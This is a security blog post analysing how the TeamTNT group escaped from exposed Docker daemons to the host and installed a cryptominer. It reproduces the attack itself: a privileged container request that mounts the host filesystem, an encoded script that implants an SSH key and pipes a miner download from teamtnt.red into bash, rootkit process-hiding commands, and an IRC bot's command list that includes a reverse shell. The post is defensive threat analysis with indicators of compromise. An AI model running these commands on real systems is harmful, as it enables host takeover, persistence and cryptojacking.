Last week, we published a blog post describing how TeamTNT created a Docker worm that was replicating itself in open Docker daemons. In the case of that example, everything took place inside a Docker container.
Now, The same threat actor, TeamTNT, is still abusing open Docker daemons but now they are using a neat trick to escape from the container and install the crypto miner in the real host (the one running the Docker daemon).
Escaping from Docker
TeamTNT is running massive internet scans looking for open and unsecured instances of Docker and Kubernetes. As you can see in the following image, once their scanner found our Docker daemon, they used another tool written in Go for checking that the Docker daemon was real:
Finding our Docker daemon
Then they just created a new container and started it:
Creating a new container
If we have closer look at the container creation, we will be able to see how the Docker escape works:
New container parameters
There are multiple options that appear in the JSON message that was sent to the Docker daemon, but the most important ones are the following:
Image':'alpine'
It indicates that the container will use the ‘alpine’ base image.
HostConfig':{'Binds':['/:/host']
This is part of the docker escape method. As it is an open and unsecured Docker daemon, the attacker can use the ‘Binds’ parameter, that will mount the host ‘/’ filesystem into the ‘/host’ directory in the container.
Privileged':true
Docker privileged mode grants a Docker container root capabilities to all devices on the host system. In this case, it allows the attacker to write in the ‘/root’ directory:
Cmd':['chroot', /host', bash', -c', echo c3NoLWtleWdlbiAtTiAiIiAtZiAvdG1wL1RlYW1UTlQKCmNoYXR0ciAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGw7IHRudHJlY2h0IC1SIC1pYSAvcm9vdC8uc3NoLyAyPi9kZXYvbnVsbDsgaWNoZGFyZiAtUiAtaWEgL3Jvb3QvLnNzaC8gMj4vZGV2L251bGwKY2F0IC90bXAvVGVhbVROVC5wdWIgPj4gL3Jvb3QvLnNzaC9hdXRob3JpemVkX2tleXMKY2F0IC90bXAvVGVhbVROVC5wdWIgPiAvcm9vdC8uc3NoL2F1dGhvcml6ZWRfa2V5czIKcm0gLWYgL3RtcC9UZWFtVE5ULnB1YgoKCnNzaCAtb1N0cmljdEhvc3RLZXlDaGVja2luZz1ubyAtb0JhdGNoTW9kZT15ZXMgLW9Db25uZWN0VGltZW91dD01IC1pIC90bXAvVGVhbVROVCByb290QDEyNy4wLjAuMSAiKGN1cmwgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHxjZDEgaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNofHx3Z2V0IC1xIC1PLSBodHRwOi8vdGVhbXRudC5yZWQvc2gvc2V0dXAvbW9uZXJvb2NlYW5fbWluZXIuc2h8fHdkMSAtcSAtTy0gaHR0cDovL3RlYW10bnQucmVkL3NoL3NldHVwL21vbmVyb29jZWFuX21pbmVyLnNoKXxiYXNoIgoKcm0gLWYgL3RtcC9UZWFtVE5UCgo= | base64 -d | bash']
This is the command that will be executed when the container starts. You can see that it uses ‘chroot’ to simulate a directory on the container as the root of the filesystem, and then executes a ‘bash’ script. If you decode the script, you get the following commands:
ssh-keygen -N "" -f /tmp/TeamTNT
chattr -R -ia /root/.ssh/ 2>/dev/null; tntrecht -R -ia /root/.ssh/ 2>/dev/null; ichdarf -R -ia /root/.ssh/ 2>/dev/null
cat /tmp/TeamTNT.pub >> /root/.ssh/authorized_keys
cat /tmp/TeamTNT.pub > /root/.ssh/authorized_keys2
rm -f /tmp/TeamTNT.pub
ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i /tmp/TeamTNT [email protected] "(curl http://teamtnt.red/sh/setup/moneroocean_miner.sh||cd1 http://teamtnt.red/sh/setup/moneroocean_miner.sh||wget -q -O- http://teamtnt.red/sh/setup/moneroocean_miner.sh||wd1 -q -O- http://teamtnt.red/sh/setup/moneroocean_miner.sh)|bash"
rm -f /tmp/TeamTNT
To summarize the how the script operates:
- Create a SSH keypair and store it in ‘/tmp/TeamTNT’
- Append the new public SSH key to ‘/root/.ssh/authorized_keys’ and also overwrite ‘/root/.ssh/authorized_keys2’ with it
- Delete the public SSH key
- Open an SSH connection to 127.0.0.1 (localhost) and authenticate as root with the new SSH certificate
- Download and execute hxxp://teamtnt.red/sh/setup/moneroocean_miner.sh
Overwriting the authorized_keys2 file
And voilà! The escape has been a success. By creating a privileged container that mounts the host filesystem and overwrites root’s SSH authorized_keys, the attacker can then connect through SSH from the container to the host and execute anything they want.
Propagating itself
Abusing the system for mining
The ‘moneroocean_miner.sh’ script (SHA256: 3b6453cd405f1e4e9497e30f2f188a3433da108bd04e464ea4f4b113ea4230b2), included in the appendix, installs a systemd service (SystemRaid) that will be responsible for executing an XMRig (version 6.15.0-mo1) binary. The bash script is self-explanatory and it includes some comments, so I’ll leave this as an exercise for the reader.
Downloading and installing the system service
The systemd service that gets installed (SystemRaid) has the following configuration:
[Unit]
Description=SystemRaid service
[Service]
ExecStart=/root/.configures/xmrig --config=/root/.configures/config.json
Restart=always
Nice=10
CPUWeight=1
[Install]
WantedBy=multi-user.target
Starting the cryptominer service
The most interesting details from the script are:
- The installation of a Linux rootkit. It uses an open source rootkit that can be found at https://github.com/m0nad/Diamorphine. The rootkit is used by the attacker for hiding all the mining processes:
ps aux | grep -v grep | grep xmrig | awk '{print $2}' > /dev/shm/tnths.dat
find /dev/shm/ -size 0 -exec rm -f {} \;
while read XMR_PID; do
kill -31 $XMR_PID 2>/dev/null 1>/dev/null
done < /dev/shm/tnths.dat
rm -f /dev/shm/tnths.dat 2>/dev/null 1>/dev/null
Compiling and installing the rootkit
- The installation of a classic IRC bot (chimaera.cc) that will receive orders from an IRC channel.
The chimaera IRC bot
The bot connects to ‘irc.chimaera.cc’, is written in C, and has the following capabilities:
Command | Description (from the binary) |
---|---|
NICK <nick> | Changes the nick of the client |
SERVER <server> | Changes servers |
GETSPOOFS | Gets the current spoofing |
SPOOFS <subnet> | Changes spoofing to a subnet |
DISABLE | Disables all packeting from this client |
ENABLE | Enables all packeting from this client |
GET <http address> <save as> | Downloads a file off the web and saves it onto the hd |
UPDATE <http address> <src:bin> | Update this bot |
HACKPKG <http address> <bin name> | HackPkg is here! Install a bin, using http, no depends! |
VERSION | Requests version of client |
HELP | Displays this |
IRC <command> | Sends this command to the server |
SH <command> | Executes a command |
ISH <command> | SH, interactive, sends to channel |
SHD <command> | Executes a pseudo-daemonized command |
GETBB <tftp server> | Get a proper busybox |
INSTALL <http server/file_name> | Download & install a binary to /var/bin |
BASH <cmd> | Execute commands using bash. |
BINUPDATE <http:server/package> | Update a binary in /var/bin via wget |
SCAN <nmap options> | Call the nmap wrapper script and scan with your opts. |
RSHELL <server> <port> | Equates to nohup nc ip port -e /bin/sh |
LOCKUP <http:server> | Kill telnet, d/l aes backdoor from <server>, run that instead. |
GETSSH <http:server/dropbearmulti> | D/l, install, configure and start dropbear on port 30022 |
TOETEDENCLIENT | Kill client |
UPDATE | update |
At that moment, there were only 200 clients connected to the IRC server.
What the attacker can see
We have seen that the attacker checks the container logs, probably to be sure that everything went as planned. The following shows what the attacker could see:
Generating public/private rsa key pair.
Your identification has been saved in /tmp/TeamTNT
Your public key has been saved in /tmp/TeamTNT.pub
The key fingerprint is:
SHA256:XXXXXXXm2Qwy9LW5GWwFH3dT1rThoA
root@host
The key's randomart image is:
+---[RSA 3072]----+
| . o*=o. oo|
| . =oE+. o.B|
| *o = . =o|
| . ++ + . .|
| S== + |
| o.O.+o |
| . = == . |
| o oo.o |
| o+. |
+----[SHA256]-----+
Warning: Permanently added '127.0.0.1' (ECDSA) to the list of known hosts.
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 14645 100 14645 0 0 38743 0 --:--:-- --:--:-- --:--:-- 38743
no crontab for root
mount: /tmp: mount point not mounted or bad option.
1 CPU threads
Hashrate 0 KH/s.
[*] Removing previous moneroocean miner (if any)
Failed to stop moneroocean_miner.service: Unit moneroocean_miner.service not loaded.
[*] Removing /root/.configures directory
xmrig: no process found
[*] Downloading advanced Miner
######################################################################## 100.0%
[*] Unpacking /dev/shm/xmrig.tar.gz to /root/.configures
[*] Checking if advanced version of /root/.configures/xmrig works fine (and not removed by antivirus software)
[*] Miner /root/.configures/xmrig is OK
[*] Creating /root/.configures/miner.sh script
[*] Creating SystemRaid systemd service
[*] Starting SystemRaid systemd service
Created symlink /etc/systemd/system/multi-user.target.wants/SystemRaid.service → /etc/systemd/system/SystemRaid.service.
IOCs
teamtnt.red | 45.9.148.108 |
irc.chimaera.cc | 45.9.148.182 |
moneroocean_miner.sh | 3b6453cd405f1e4e9497e30f2f188a3433da108bd04e464ea4f4b113ea4230b2 |
diamorphine.sh | 418d1ea67110b176cd6200b6ec66048df6284c6f2a0c175e9109d8e576a6f7ab |
chimaera.cc | fe3c5c4f94b90619f7385606dfb86b6211b030efe19b49c12ead507c8156507a |
Continue reading about Docker abuse here: Malicious Docker Images Still Used for Mining Purposes
Read the first post in the series here: Docker Daemon Worms Are Still Kicking Around
David Barroso is a founder and CEO of CounterCraft. You can find him on LinkedIn.